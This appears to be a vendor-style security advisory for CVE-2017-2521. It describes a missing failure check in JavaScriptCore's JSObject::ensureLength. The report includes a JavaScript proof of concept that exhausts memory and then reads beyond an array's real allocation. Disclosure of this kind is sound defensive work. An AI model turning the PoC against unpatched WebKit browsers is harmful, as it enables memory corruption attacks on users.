WebKit JSC JSObject::ensureLength Failure Check

 WebKit: JSC: JSObject::ensureLength doesn't check if ensureLengthSlow failed. 

CVE-2017-2521


Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
    ASSERT(length < MAX_ARRAY_INDEX);
    ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

    bool result = true;
    if (m_butterfly.get()->vectorLength() < length)
        result = ensureLengthSlow(vm, length);
        
    if (m_butterfly.get()->publicLength() < length)
        m_butterfly.get()->setPublicLength(length);
    return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
    for (;;) {
        exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
    }
} catch (e) {
}

try {
    arr.length *= 8;
    print('failed');
} catch (e) {
    print(e);

    exh = null;

    print('arr length: ' + arr.length.toString(16));
    for (let i = kArrayLength, n = arr.length; i < n; i++) {
        if (arr[i])
            print(arr[i]);
    }
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt